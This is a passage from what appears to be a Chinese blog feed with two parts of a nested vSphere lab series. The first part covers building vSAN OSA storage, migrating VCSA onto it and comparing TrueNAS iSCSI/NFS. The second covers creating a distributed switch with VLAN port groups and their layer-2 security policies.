30）端口组，这一步给三台主机各建一个启用 vSAN 服务的 VMkernel 适配器接上去。</p><p>逐台：主机 → <code>Configure</code> → <code>VMkernel adapters</code> → <code>Add Networking</code> → <code>VMkernel Network Adapter</code> → <code>Select an existing network</code> 选 <code>YX-vSAN</code> → 在 <code>Enabled services</code> 勾选 <strong><code>vSAN</code></strong> → <code>IPv4 settings</code> 用 static，按下表填址：</p><table><thead><tr><th>主机</th><th>vSAN VMkernel IP</th><th>掩码</th><th>网关</th></tr></thead><tbody><tr><td><code>yx-esxi01</code></td><td><code>10.0.30.11</code></td><td><code>255.255.255.0</code></td><td>（无）</td></tr><tr><td><code>yx-esxi02</code></td><td><code>10.0.30.12</code></td><td><code>255.255.255.0</code></td><td>（无）</td></tr><tr><td><code>yx-esxi03</code></td><td><code>10.0.30.13</code></td><td><code>255.255.255.0</code></td><td>（无）</td></tr></tbody></table><p><code>10.0.30.0/24</code> 是第一篇定的<strong>无网关、不路由的纯二层专用段</strong>——vSAN 流量只在 VLAN 30 内东西向流动，不出网、也不跨段，所以<strong>不填网关</strong>。MTU 保持默认 <code>1500</code>。</p><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-05-storage/20260625171428183.png" alt=""></p><div class="note info flat"><p><strong>这个 vSAN vmk 是普通单 MAC 适配器，所以 <code>YX-vSAN</code> 端口组保持上一篇的默认 <code>Reject</code> 安全策略即可、无需放开</strong>——正好印证上一篇 §5 的判断：只有「一个 VM 代表多个 MAC」才需要放宽，而 VMkernel 适配器用的就是它自己那一个 MAC。</p></div><div class="note primary flat"><p><strong>生产环境对照</strong>：生产里 vSAN 网络通常是独立且冗余的（双上行），用 25/100GbE 并开启巨型帧（jumbo frame，MTU 9000）以压低存储延迟。我们这里走单链路、<code>1500</code> MTU——嵌套下巨型帧未必能在 VMnet 上干净透传，为稳妥不开；这是实验与生产的一处差距。</p></div><h2 id="4-在集群上启用-vSAN（OSA）并认领磁盘">4 在集群上启用 vSAN（OSA）并认领磁盘</h2><p>盘和网络都备齐，回到集群开 vSAN。<code>YX-Cluster01</code> → <code>Configure</code> → <code>vSAN</code> → <code>Services</code> → <code>Configure vSAN</code>，逐页走：</p><ul><li><strong>第 1 步 <code>vSAN ESA</code></strong>：这一步是个 ESA 开关 + 预检。我们的嵌套环境过不了 ESA 预检（页面会黄条提示 <code>your hardware compatibility or cluster configuration is not eligible for vSAN ESA</code>，并标红 <code>vSphere Lifecycle Manager (vLCM) configuration</code>、<code>Host physical memory compliance check</code> 两项）——这<strong>属预期，不用去修</strong>。把 <code>vSAN ESA</code> 开关<strong>保持关闭</strong>，<code>NEXT</code>，向导自动走 OSA 路径。</li><li><strong>第 2 步 <code>Services</code></strong>：数据服务（去重压缩、加密等）本篇先不开，默认 <code>NEXT</code>。</li><li><strong>第 3 步 <code>Claim disks</code></strong>：给<strong>每台主机</strong>把那块 <code>50 GB</code> 闪存盘指派为 <strong><code>Cache tier</code></strong>、<code>150 GB</code> 闪存盘指派为 <strong><code>Capacity tier</code></strong>——每台形成一个磁盘组。核对顶部 <code>Total Claimed</code> 为三台共 6 块、<code>Unclaimed 0 B</code>。</li><li><strong>第 4 步 <code>Create fault domains</code></strong>：跳过（单站点，三台各为默认故障域）。</li><li><strong>第 5 步 <code>Review</code></strong> → <code>Finish</code>。</li></ul><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-05-storage/20260625171822300.png" alt=""></p><p>vSAN 启用后会自动生成一块 <code>vsanDatastore</code>，三台主机的磁盘组都并入其中。</p><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-05-storage/20260625184536878.png" alt=""></p><div class="note info flat"><p><strong>启用后若顶部出现 <code>You have not finished or skipped the cluster Quickstart. vSAN Health findings are suppressed.</code></strong> ——这条横幅会<strong>抑制 vSAN Health 的结果显示</strong>。因为本系列刻意手动配置（vCenter 篇就用 <code>Add Hosts</code> 而非 Quickstart 组集群），这条属预期。处理是<strong>跳过 / 忽略 Quickstart（dismiss / skip），而不是去点 <code>Go to Quickstart</code> 完成它</strong>——完成它会把你拽进一条龙流程，可能反过来接管你已手动配好的网络与 vSAN。skip 掉后回 <code>Skyline Health</code> 点 <code>RETEST</code>，才看得到真实健康结果。</p></div><div class="note info flat"><p><strong>3 台主机 + FTT=1 是怎么冗余的。</strong> 默认存储策略 <code>vSAN Default Storage Policy</code> 为 <code>FTT=1</code>、<code>RAID-1</code>（镜像）：每个对象存<strong>两份数据副本 + 一个见证（witness）</strong>，分散在三台主机上，于是任意一台主机故障，数据仍可访问。这是 vSAN 的最小可用规模——能容忍 1 台故障，但（如 §1 生产对照所说）没有第 4 台来重建，故障期间是「撑着」而非「恢复」。</p></div><p>启用后到 <code>Cluster → Monitor → vSAN → Skyline Health</code> 看健康。这里要先建立一个判断口径：vSAN 的健康项分两类——<strong>核心数据面</strong>（<code>vSAN object health</code>、<code>vSAN daemon liveness</code>、<code>Time is synchronized across hosts and VC</code>、<code>Advanced vSAN configuration in sync</code>、磁盘与网络等）必须绿；<strong>辅助 / 监控类</strong>（<code>SCSI controller is VMware certified</code>、<code>Performance service status</code>、<code>vSAN Build Recommendation</code>、<code>vSAN cluster configuration consistency</code>、<code>Stats primary election</code> 等）在嵌套环境下常黄常红，且多可一键修或静默，<strong>不挡存储功能</strong>。我们的「磁盘」「控制器」都是虚拟的、本就不在 HCL 上，所以只要核心数据面绿即可。其中 <code>Stats primary election</code> / <code>Stats DB object</code> 属 Performance Service，在拆组重建后尤其常见——<code>RETEST</code>一键修复、或干脆 <code>Cluster → Configure → vSAN → Services → Performance Service</code> 关再开重建统计对象，都能消，不消也不影响。</p><div class="note warning flat"><p><strong>嵌套 vSAN 认领磁盘失败的三类典型报错与排查阶梯</strong>（<code>Disk Management</code> 里某台 <code>Unhealthy</code>、或 Recent Tasks 报错时，按这个顺序查）：</p><ol><li><strong><code>Unable to create LSOM file system</code>——先查主机内存，这条最隐蔽。</strong> LSOM 初始化要吃内存，而承载 VCSA 的 <code>yx-esxi01</code> 内存最紧。看该主机 <code>Summary</code> 的 <code>Host memory usage</code> 告警 / <code>Memory free</code>，内存几乎吃满就是它。<strong>把该主机内存抬上去（esxi01 抬到 30 GB）再重建磁盘组</strong>即可。它最容易被误当成「盘的问题」，所以排在最前。</li><li><strong><code>failed to appear in CMMDS</code>——多为盘有残留元数据或认领时序。</strong> 处置阶梯：<code>RETEST</code> / 刷新 → 拆掉该主机磁盘组重建（<code>Remove</code>，选 <code>No data migration</code>，新盘无数据）→ <code>Host → Configure → Storage Devices</code> 选中该盘 <code>Erase partitions</code>（或 SSH <code>partedUtil</code> 清分区表）→ 实在不行，Workstation 里给该主机换两块<strong>全新</strong>虚拟盘再认领。</li></ol><p>判断标准：修到 <code>Disk Management</code> 三台都 <code>Healthy</code>、各一个完整磁盘组、<code>Network partition group</code> 同为 <code>Group 1</code> 为止。</p></div><div class="note primary flat"><p><strong>生产环境对照</strong>：生产至少 4 台起步（留重建余量）；用经 vSAN 认证的存储控制器（OSA 对 RAID/HBA 控制器有明确的固件/驱动要求）；按需开启去重压缩（OSA 为磁盘组级，ESA 为集群级全局去重）。这些 HCL 与控制器维度，嵌套都演不出来，只能在此点到。</p></div><h2 id="5-把-VCSA-迁上-vSAN，回收临时盘">5 把 VCSA 迁上 vSAN，回收临时盘</h2><p><code>vsanDatastore</code> 一就绪，上一篇那条自举临时盘就能闭环了。把 VCSA 从 <code>esxi01-local</code> 在线迁到 vSAN。</p><p>迁移前先确认环境稳定：三台主机状态均为 <code>Connected</code>、<code>vSAN Health</code> 核心项为绿，且<strong>别在迁移期间同时做其它大规模配置变更</strong>——这是控制面（vCenter）给自己搬家，环境越静越好。</p><p>右键 <code>yx-vc01</code> → <code>Migrate</code> → 选 <strong><code>Change storage only</code></strong> → 目标 datastore 选 <code>vsanDatastore</code>、存储策略用 <code>vSAN Default Storage Policy</code> → <code>Finish</code>。这是 Storage vMotion，VCSA <strong>不中断</strong>、迁移期间 vCenter 照常可用。</p><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-05-storage/20260625185521636.png" alt=""></p><p>迁完核对：<code>yx-vc01</code> 的 <code>Summary</code> / <code>Datastores</code> 应显示它已落在 <code>vsanDatastore</code> 上、<code>esxi01-local</code> 上不再有它的文件。确认无误后回收临时盘：</p><ol><li>先在 vCenter 里把 <code>esxi01-local</code> 这块 datastore <strong>卸载并删除</strong>（此时它应是空的）。</li><li>再到 Workstation，从 <code>yx-esxi01</code> 这台 VM 上<strong>移除那块 600 GB 虚拟盘</strong>，宿主 NVMe 上的占用随之释放。</li></ol><div class="note warning flat"><p>顺序别颠倒、也别抢跑：<strong>务必先确认 VCSA 已完整迁到 <code>vsanDatastore</code>、<code>esxi01-local</code> 确实为空，再删 datastore、再移除虚拟盘。</strong> 在 VCSA 文件还在那块盘上时就去删盘，会直接搞坏正在运行的 vCenter。</p><p>若 vCenter 提示 <code>esxi01-local</code> 仍被占用、删不掉，<strong>不要强删</strong>：回到该 datastore 的 <code>Files</code> 视图，确认是否还残留 VM 文件、ISO、日志或挂载记录，清空后再删。迁移后有残留却直接拆盘，同样会出问题。</p></div><div class="note info flat"><p>这一步闭合了 vCenter 篇的自举：VCSA 当初只能临时落在单台主机的本地盘上、是整套环境最大的单点；现在它住进了横跨三台、带 FTT=1 冗余的 vSAN。再往后（第七篇）启用 vSphere HA，承载它的主机一旦故障，VCSA 就能在另一台上被自动重启——这正是 vCenter 篇生产对照里讲的「VCSA 放共享存储 + HA 重启」，到这里才真正具备了前提。</p></div><div class="note info flat"><p><strong>vSAN 集群就绪后的开关机习惯。</strong> VCSA 迁到 <code>vsanDatastore</code> 后，它不再是 <code>yx-esxi01</code> 本地盘上的普通 VM，而是一个存放在 vSAN 对象上、组件分布在三台主机上的控制面。所以开机顺序要从「先起 esxi01、再起 VCSA」改成「<strong>先让 vSAN 集群站起来，再起 VCSA</strong>」——只起一台主机时，vSAN 对象未必凑得齐仲裁（FTT=1 下两份副本 + 见证分散在三台，可访问的主机少于两台时对象就不可达），VCSA 不一定能正常开机。</p><ul><li><strong>开机</strong>：先启动 OPNsense（确保 DNS/NTP/路由可用），再启动三台 ESXi（<code>yx-esxi01/02/03</code>）；等三台的 vSAN 网络与磁盘组恢复、<code>vsanDatastore</code> 可访问后，再启动 <code>yx-vc01</code>。若用 <code>VM Startup/Shutdown</code> 自动起 VCSA，可设在 <code>yx-esxi01</code> 上、但<strong>启动延迟要给足</strong>，且前提是三台 ESXi 已基本起来——别只起 esxi01 就指望 VCSA 稳定启动。</li><li><strong>关机</strong>：正规停机走 <code>Cluster → Configure → vSAN → Services → Shutdown Cluster</code> 向导。手工关机时先关业务 VM、VCSA 最后关（走 <code>Shut Down Guest OS</code>）；确认 VCSA 已关干净，再关三台 ESXi。别硬断承载 VCSA 的主机，也别让某台 vSAN 主机长时间掉队，否则对象副本与见证组件可能不全，下次启动恢复更费劲。</li></ul></div><h2 id="6-外置存储对照：TrueNAS-的-iSCSI-NFS（可选）">6 外置存储对照：TrueNAS 的 iSCSI / NFS（可选）</h2><p>vSAN 是「把存储融进主机」，与之相对的是传统的「外置共享存储」。这一节用一台 TrueNAS 简要演示后者，作对照、不展开成完整教程。</p><p><strong>准备外置存储端。</strong> 部署一台 TrueNAS 虚拟机 <code>yx-nas01</code>（管理口在业务网 <code>10.0.40.20</code>，再给它一块网卡接 <code>YX-Storage</code> / VLAN 50 作存储数据路径），在其上各建一个 <strong>iSCSI Target（块存储）</strong> 和一个 <strong>NFS 共享（文件存储）</strong>。</p><p><strong>主机端接入。</strong> 三台 ESXi 在 <code>YX-Storage</code>（VLAN 50，<code>10.0.50.0/24</code>，同样无网关纯二层）上各建一个 VMkernel 作存储数据路径。若做这节对照，<code>YX-Storage</code> 段的地址可照下表分配：</p><table><thead><tr><th>节点</th><th>Storage IP</th><th>说明</th></tr></thead><tbody><tr><td><code>yx-esxi01</code></td><td><code>10.0.50.11</code></td><td>ESXi Storage VMkernel</td></tr><tr><td><code>yx-esxi02</code></td><td><code>10.0.50.12</code></td><td>ESXi Storage VMkernel</td></tr><tr><td><code>yx-esxi03</code></td><td><code>10.0.50.13</code></td><td>ESXi Storage VMkernel</td></tr><tr><td><code>yx-nas01</code></td><td><code>10.0.50.20</code></td><td>TrueNAS 存储数据口</td></tr></tbody></table><p><code>10.0.50.0/24</code> 仍不设网关、不经 OPNsense 路由，只承载 ESXi 与 TrueNAS 之间的二层存储流量——这也闭合了第一篇「各 vmk 地址在用到的篇章再分配」的约定。建好 VMkernel 后：</p><ul><li><strong>iSCSI</strong>：在主机 <code>Configure → Storage Adapters</code> 添加 <code>Software iSCSI</code> 适配器，填 TrueNAS 的 iSCSI 目标地址（<code>10.0.50.20</code>）、<code>Rescan</code>，再把发现的 LUN 格式化为 VMFS datastore。</li><li><strong>NFS</strong>：<code>New Datastore → NFS</code>，填 TrueNAS 的 NFS 服务器地址（<code>10.0.50.20</code>）与共享路径，挂为 NFS datastore。</li></ul><p><strong>三条路怎么选</strong>——这才是本节的重点：</p><table><thead><tr><th>维度</th><th>vSAN（超融合）</th><th>外置 iSCSI（块）</th><th>外置 NFS（文件）</th></tr></thead><tbody><tr><td>存储位置</td><td>主机本地盘聚合</td><td>独立存储设备</td><td>独立存储设备</td></tr><tr><td>计算/存储扩展</td><td>绑定（加主机=加存储）</td><td>解耦（各自扩）</td><td>解耦（各自扩）</td></tr><tr><td>vSphere 侧格式</td><td>vSAN 对象</td><td>VMFS（vSphere 格式化）</td><td>NFS（存储端管文件系统）</td></tr><tr><td>典型场景</td><td>HCI、想少一套外置存储</td><td>既有 SAN、要块级特性</td><td>简单、共享、跨主机易挂</td></tr></tbody></table><div class="note primary flat"><p><strong>生产环境对照</strong>：选 vSAN 还是外置阵列，本质是「超融合 vs 存算分离」的取舍——前者省一套独立存储、按主机线性扩展、策略驱动；后者让计算与存储各自独立扩容、契合已有的 SAN/NAS 投资。值得一提的是，VCF 9.x 之后 vSAN 的远程数据存储能力在持续增强：通过 remote vSAN datastore / HCI Mesh / vSAN storage cluster，vSAN 可在跨集群、甚至跨 vCenter 的场景下对外提供共享存储，VCF 9.1 还增强了 OSA 与 ESA 之间的混合挂载。两条路线确在彼此靠拢——但其规划、许可与管理方式，仍不同于传统 NFS/iSCSI 阵列。本系列以 vSAN 为主、外置存储作对照，不必三者全上生产。</p></div><h2 id="7-验证与检查点">7 验证与检查点</h2><div class="note success flat"><ol><li><strong>vSAN datastore 就绪且健康</strong>：<code>vsanDatastore</code> 在三台主机上均可见，容量约 <strong><code>450 GB</code></strong>（本实验为 <code>449.98 GB</code>，即 3×150 GB 容量盘聚合；缓存盘不计入可用容量）；<code>Monitor → vSAN → Skyline Health</code> 核心数据面为绿（HCL/控制器/Performance service 类告警在嵌套下属预期）。</li><li><strong>三个磁盘组到位且健康</strong>：<code>Cluster → Configure → vSAN → Disk Management</code> 显示 <code>3 hosts / 3 vSAN disk groups / 3 capacity disks</code>，三台各一个磁盘组（1 缓存 + 1 容量、均 <code>Flash</code>、<code>2/2</code> 盘）、全 <code>Healthy</code>、同属 <code>Group 1</code>。</li><li><strong>黄叹号消失</strong>：<code>esxi02</code>/<code>esxi03</code> 的 <code>No datastores configured</code> 告警随 vSAN 就绪而消除。</li><li><strong>VCSA 落位正确</strong>：<code>yx-vc01</code> 位于 <code>vsanDatastore</code>；<code>esxi01-local</code> 已删除、Workstation 上 600 GB 临时盘已移除。</li><li><strong>（选学）外置存储</strong>：如做了对照，iSCSI VMFS 与 NFS datastore 已挂载可用。</li></ol></div><h2 id="结语">结语</h2><p>到这里，砚行物流终于有了一块横跨集群、带冗余的共享存储：vSAN 把三台主机的本地盘聚成 <code>vsanDatastore</code>，VCSA 也从临时本地盘搬进了这块有 FTT=1 保护的存储，vCenter 篇欠下的自举就此还清；外置 iSCSI/NFS 的对照则把另一条存储路线摆在了一起。</p><p>共享存储一旦到位，集群真正的「高可用」与「调度」就有了根基。下一篇进入 <strong>HA 与 DRS</strong>：让承载 VCSA 的主机故障时 VCSA 能被自动重启、让负载在三台之间自动均衡与 vMotion——第四篇建好的 <code>YX-vMotion</code>（VLAN 20）专用网，也终于要在那时接上 VMkernel、派上用场。</p><!-- flag of hidden posts -->]]>
    </content>
    <id>https://www.catwhiteangel.com/enterprise-vsphere-lab-05-storage/</id>
    <link href="https://www.catwhiteangel.com/enterprise-vsphere-lab-05-storage/"/>
    <published>2026-06-25T04:40:00.000Z</published>
    <summary>用三台主机本地盘构建 vSAN 全闪共享存储，将 VCSA 通过 Storage vMotion 迁入 vSAN 并回收临时本地盘，闭合部署自举；另以 TrueNAS 提供 iSCSI/NFS 外置存储对照，比较超融合与传统外置两条路线的取舍。</summary>
    <title>从零搭建企业虚拟化平台5——存储：vSAN 构建与外置 iSCSI/NFS 对照</title>
    <updated>2026-06-25T04:40:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>还魂灵猫</name>
    </author>
    <category term="Virtualization" scheme="https://www.catwhiteangel.com/categories/Virtualization/"/>
    <category term="vSphere Lab" scheme="https://www.catwhiteangel.com/categories/Virtualization/vSphere-Lab/"/>
    <category term="VMware" scheme="https://www.catwhiteangel.com/tags/VMware/"/>
    <category term="VLAN" scheme="https://www.catwhiteangel.com/tags/VLAN/"/>
    <category term="vSphere" scheme="https://www.catwhiteangel.com/tags/vSphere/"/>
    <category term="vDS" scheme="https://www.catwhiteangel.com/tags/vDS/"/>
    <content>
      <![CDATA[<h1>从零搭建企业虚拟化平台4——网络进阶：引入 vDS 与 VLAN 划分</h1><div class="note info flat"><p><strong>📚 从零搭建企业虚拟化平台 · 全系列导航</strong></p><ul><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-00-prologue/">平台0 · 序章：缘起与全局规划</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-01-environment/">平台1 · 环境：OPNsense 与网段搭建</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-02-esxi/">平台2 · 计算：三台嵌套 ESXi</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-03-vcenter/">平台3 · vCenter：部署与建集群</a></li><li><strong>平台4 · 网络：vDS 与端口组　← 本篇</strong></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-05-storage/">平台5 · 存储：vSAN 全闪</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-06-ha-drs/">平台6 · 高可用：HA 与 DRS</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-07-ad-dns/">平台7 · 身份：AD 域控与 DNS</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-08-ntp-wrapup/">平台8 · 收尾：时间同步、vLCM 与全系列回顾</a></li></ul></div><p>到上一篇为止，三台主机的网络都还停在最朴素的状态：各自一台标准交换机（vSwitch0），只用 <code>vmnic0</code>（VMnet2）扛着一条不打标签的管理网。而第二篇就给每台预留的第二块网卡 <code>vmnic1</code>（接 VMnet3 中继干道）一直空挂着没接活。</p><p>这一篇把它接上：创建一台横跨整个集群的分布式交换机（Distributed Switch，vDS），把 <code>vmnic1</code> 这根干道纳入，按第一篇的规划在上面划出各业务 VLAN；并顺势落地一件一直说要做、却得等 VLAN 成形才好做的事——管理网隔离。</p><span id="more"></span><h2 id="1-为什么要引入-vDS">1 为什么要引入 vDS</h2><p>标准交换机（Standard Switch，vSS）是<strong>每台主机各一份</strong>的东西：你在 esxi01 上建的端口组、配的 VLAN、调的安全策略，esxi02/03 上都得照着再来一遍。三台还能手抖对付，规模一上去，配置漂移（config drift）几乎是必然——某台少打一个 VLAN 标签、某台安全策略没对齐，故障就藏在这种不一致里。</p><p>分布式交换机（vDS）把交换机这个对象<strong>上提到 vCenter</strong> 统一管理：端口组、VLAN、上行、安全与流控策略只定义一次，自动一致地下发到集群里所有主机。要澄清一点：vMotion 与 vSAN 并不<strong>强制</strong>依赖 vDS，用标准交换机同样能跑通；但在多主机场景下，vDS 能让这些专用网络的端口组、VLAN 与策略集中维护，显著降低配置漂移风险。而 NIOC（网络 I/O 控制）、LACP、端口镜像这些进阶能力，才是 vDS 相比 vSS 的主要价值所在。正因为 vDS 依赖 vCenter，它必须排在上一篇之后——现在 vCenter 就位了，时候到了。</p><div class="note info flat"><p><strong>一个常被误解的点：vDS 依赖 vCenter，但它的「转发」不依赖 vCenter。</strong> vDS 分两个面：管理面（control plane）在 vCenter——你增删端口组、改策略都经它；数据面（data plane）仍在每台主机本地，主机会把 vDS 配置缓存在本地数据库里。所以即便 vCenter 宕机，已有的 vDS 端口组照常转发流量、虚拟机网络不断——你只是暂时不能改 vDS 配置而已。这一点和上一篇「HA 由主机 FDM 执行、不依赖 vCenter」是同一种解耦思路。</p></div><h2 id="2-本篇的网络蓝图：哪段走-vSS、哪段走-vDS">2 本篇的网络蓝图：哪段走 vSS、哪段走 vDS</h2><p>每台主机有两块上行网卡，分工早在第一、二篇就定了：</p><table><thead><tr><th>上行网卡</th><th>接入</th><th>交换机</th><th>承载</th></tr></thead><tbody><tr><td><code>vmnic0</code></td><td>VMnet2（不打标签的原生段）</td><td>保留在标准交换机 vSwitch0</td><td>管理网 VLAN 10</td></tr><tr><td><code>vmnic1</code></td><td>VMnet3（中继干道，带标签）</td><td>本篇新建的 vDS</td><td>业务各 VLAN（20/30/40/50/60）</td></tr></tbody></table><p>也就是说，<strong>管理网继续留在标准交换机上、不迁 vDS</strong>，本篇只把空闲的 <code>vmnic1</code> 这根干道接到 vDS。这么分有两层考虑：其一，管理网走的是另一块网卡、另一个 VMnet，本就和干道物理分离；其二，迁移管理网到 vDS 是有风险的操作（一旦中途失手，可能丢掉主机管理连通性），实验室里没必要为此冒险。生产里确实常把管理网也并入 vDS（配合专门的迁移流程与回滚预案），这点留作了解，本系列不做。</p><div class="note info flat"><p><strong>VMnet3 这根「干道」真能透传 802.1Q 标签吗？</strong> 设计上可以。第一篇已经在 OPNsense（<code>yx-fw01</code>）的第三块网卡（<code>em2</code>，接 VMnet3）上创建了 VLAN 40 / VLAN 60 子接口，相当于把干道的<strong>一端</strong>准备好了；本篇则把<strong>另一端</strong>接到 ESXi 的 vDS 上，由分布式端口组打出 VLAN 标签。真正的<strong>端到端验证</strong>，是本篇后面临时把测试 VM 接到 <code>YX-Server</code>（VLAN 40）、再 ping <code>10.0.40.1</code> 那一步——能通，才说明 VLAN 标签确实从 vDS 顺着 VMnet3 贯通到了 OPNsense 的对应接口、并由它做 VLAN 间路由。</p></div><h2 id="3-创建分布式交换机">3 创建分布式交换机</h2><p>在 vSphere Client 切到 <code>Networking</code>（清单视图左侧第四个图标），右键 <code>YX-Datacenter</code> → <code>Distributed Switch</code> → <code>New Distributed Switch</code>：</p><ul><li><code>Name</code>：<code>YX-vDS01</code>。</li><li><code>Version</code>：选与主机匹配的最新版本（<code>8.0.x</code>）。版本决定可用特性，按主机版本走即可。</li><li><code>Configure settings</code>：<code>Number of uplinks</code> 设为 <code>1</code>——因为每台主机只拿 <code>vmnic1</code> 这一块网卡上联本 vDS。<code>Network I/O Control</code> 保持 <code>Enabled</code>。把 <code>Create a default port group</code> <strong>取消勾选</strong>，端口组我们按 VLAN 自己建。</li><li><code>Finish</code>。</li></ul><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-04-network/20260625140505998.png" alt=""></p><div class="note info flat"><p><code>Number of uplinks</code> 等于「每台主机将接入本 vDS 的物理网卡数」。我们每台只有一根干道 <code>vmnic1</code>，故为 1。真实环境里一台主机通常给同一 vDS 上多块网卡做 teaming/LACP，那时这里就不止 1。</p></div><h2 id="4-按-VLAN-创建分布式端口组">4 按 VLAN 创建分布式端口组</h2><p>vDS 建好后，右键 <code>YX-vDS01</code> → <code>Distributed Port Group</code> → <code>New Distributed Port Group</code>，逐个建出各业务 VLAN 的端口组。每个端口组的 <code>VLAN type</code> 选 <code>VLAN</code>，<code>VLAN ID</code> 填对应编号：</p><table><thead><tr><th>端口组</th><th>VLAN ID</th><th>用途</th><th>消费篇章</th></tr></thead><tbody><tr><td><code>YX-vMotion</code></td><td>20</td><td>vMotion 专用网</td><td>第七篇（HA/DRS）</td></tr><tr><td><code>YX-vSAN</code></td><td>30</td><td>vSAN 存储网</td><td>第六篇（存储）</td></tr><tr><td><code>YX-Server</code></td><td>40</td><td>业务 / 服务器网</td><td>第八篇（域控等）起</td></tr><tr><td><code>YX-Storage</code></td><td>50</td><td>外置存储网</td><td>第六篇（iSCSI/NFS 对照）</td></tr><tr><td><code>YX-Client</code></td><td>60</td><td>客户端网</td><td>按需</td></tr></tbody></table><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-04-network/20260625141034491.png" alt=""></p><p>这里只是把「线路」铺好，真正用它们的 VMkernel 适配器（vMotion、vSAN、存储的 vmk）和业务虚拟机，分别在各自篇章再接上——这与第一篇「各 vmk 地址在用到的篇章再分配」的约定一致。管理网 VLAN 10 不在此列，它留在标准交换机上。</p><h2 id="5-关键：分布式端口组的二层安全策略">5 关键：分布式端口组的二层安全策略</h2><p>这一步是第三篇埋下的伏笔到期兑现，但要先把一个常见误解纠正过来。</p><p>第三篇讲过：标准交换机上 <code>Forged transmits</code> 默认是 <code>Accept</code>，而新建 vDS / 分布式端口组时，<code>Promiscuous mode</code>、<code>MAC address changes</code>、<code>Forged transmits</code> 通常比 vSS 更收紧（本实验中新建的端口组三项均为 <code>Reject</code>，实际请以端口组 <code>Policies → Security</code> 页面显示为准）。</p><p>但<strong>这并不意味着接到这些端口组上的普通虚拟机会被丢包</strong>。一台普通 VM（比如后续接到 <code>YX-Server</code> 的域控）用的是它<strong>自己 vNIC 的 MAC</strong> 收发流量——vDS 不会因为这个 MAC 与上行 <code>vmnic1</code> 的 MAC 不同，就把它当作伪造（forged）而丢弃。换句话说，单 MAC 的普通 VM 在三项默认 <code>Reject</code> 下照样通，无需任何放宽。</p><p>真正需要放开的，是「<strong>一个 VM 代表多个 MAC 收发流量</strong>」的场景：虚拟防火墙、虚拟路由器、桥接、CARP/VRRP、IDS/IPS 旁路，或在这套环境里继续嵌套另一层 hypervisor。这类 VM 可能以<strong>非自身 vNIC 的源 MAC</strong> 发包（主要涉及 <code>Forged transmits</code>，它管的是出向帧的源 MAC 是否与端口有效 MAC 匹配），也可能在虚拟 MAC、故障切换或桥接场景中改变自身 MAC（涉及 <code>MAC address changes</code>，它管的是 VM 改了 vNIC MAC 后入向流量是否仍被接收）；同时，它们还可能需要接收<strong>目标 MAC 并非自身</strong>的帧（涉及 <code>Promiscuous mode</code> 或 <code>MAC Learning</code>）。这才是会「不报错、只是不通」的地方。</p><p>那么本篇这五个端口组，现在要不要动安全策略？<strong>不用</strong>——它们规划里接的都是普通单 MAC VM（域控、TrueNAS、跳板机等），保持默认 <code>Reject</code> 就好。此刻就把 <code>YX-Server</code>/<code>YX-Client</code> 三项放开，是为一个尚不存在的场景做安全降级，没必要。</p><p>正确的做法是<strong>按需、且就具体端口组</strong>：等哪天确实要在某个端口组上跑虚拟防火墙 / 路由器 / 再嵌套这类多 MAC 负载时，再去改<strong>那一个</strong>端口组。改法留作参考——<code>Networking</code> → 选中该端口组 → <code>Configure</code> → <code>Settings</code> → <code>Policies</code> → <code>EDIT</code> → <code>Security</code>，按需把 <code>Promiscuous mode</code> / <code>MAC address changes</code> / <code>Forged transmits</code> 设为 <code>Accept</code>。两点要记住：</p><ul><li>安全策略是<strong>每个分布式端口组各自一份</strong>，vDS 并没有「设一次、其余端口组自动继承」的机制，所以是逐个端口组改；要给多个端口组批量设同一策略，GUI 没有一键多选，得用 PowerCLI（<code>Get-VDPortgroup ... | Get-VDSecurityPolicy | Set-VDSecurityPolicy</code>）。</li><li>比全开混杂模式更现代、也更接近生产的，是 <strong>MAC Learning</strong>（vSphere 6.7 起）：它让 vSwitch 学习 vNIC 后面的多个 MAC，在不开混杂模式的前提下转发相关流量，避免混杂模式把同端口组内大量无关流量也复制进每台 VM（那正是混杂模式的性能代价）。它在 GUI 中基本不暴露，通常经 PowerCLI / API 配置；真要承载多 MAC 负载时，优先选它。</li></ul><div class="note warning flat"><p>别因为「vDS 看着更高级」就以为它的默认更宽松——恰恰相反，新建端口组通常三项更收紧。但也别为此急着放开：普通单 MAC 的 VM（域控、TrueNAS、跳板机等）在默认 <code>Reject</code> 下完全能通。本系列当前规划的负载都属此类，所以这五个端口组<strong>现在一个都不用动</strong>，保持默认即可——只有将来真接入多 MAC 负载时，才就那一个端口组按需放开（或用 MAC Learning）。</p></div><div class="note primary flat"><p><strong>生产环境对照</strong>：把这三项放开是一次实打实的二层安全降级（允许嗅探与 MAC 伪造），生产默认应保持 <code>Reject</code>，仅在确有需要（虚拟网络设备、嵌套、某些 NFV/IDS 旁路）时<strong>按端口组精确</strong>放开，并优先用 <code>MAC Learning</code> 而非混杂模式。我们这里保持默认、按需才放，正是这个原则的落地。</p></div><h2 id="6-把主机与干道网卡接入-vDS">6 把主机与干道网卡接入 vDS</h2><p>线路与策略就绪，最后把三台主机的 <code>vmnic1</code> 挂到这台 vDS 上。右键 <code>YX-vDS01</code> → <code>Add and Manage Hosts</code> → <code>Add hosts</code>，勾选三台主机，进入 <code>Manage physical adapters</code>：</p><ul><li>给每台主机，把 <strong><code>vmnic1</code></strong> 指派到 <code>Uplink 1</code>。</li><li><strong>不要碰 <code>vmnic0</code></strong>——它在标准交换机上扛着管理网，动它就可能断掉主机管理连通。</li><li>本篇没有 VMkernel 适配器要迁移（vMotion/vSAN 的 vmk 留到各自篇章），所以 <code>Manage VMkernel adapters</code> 一步保持空、直接下一步。</li></ul><p><code>Finish</code> 之后，三台主机的 <code>vmnic1</code> 就成了 <code>YX-vDS01</code> 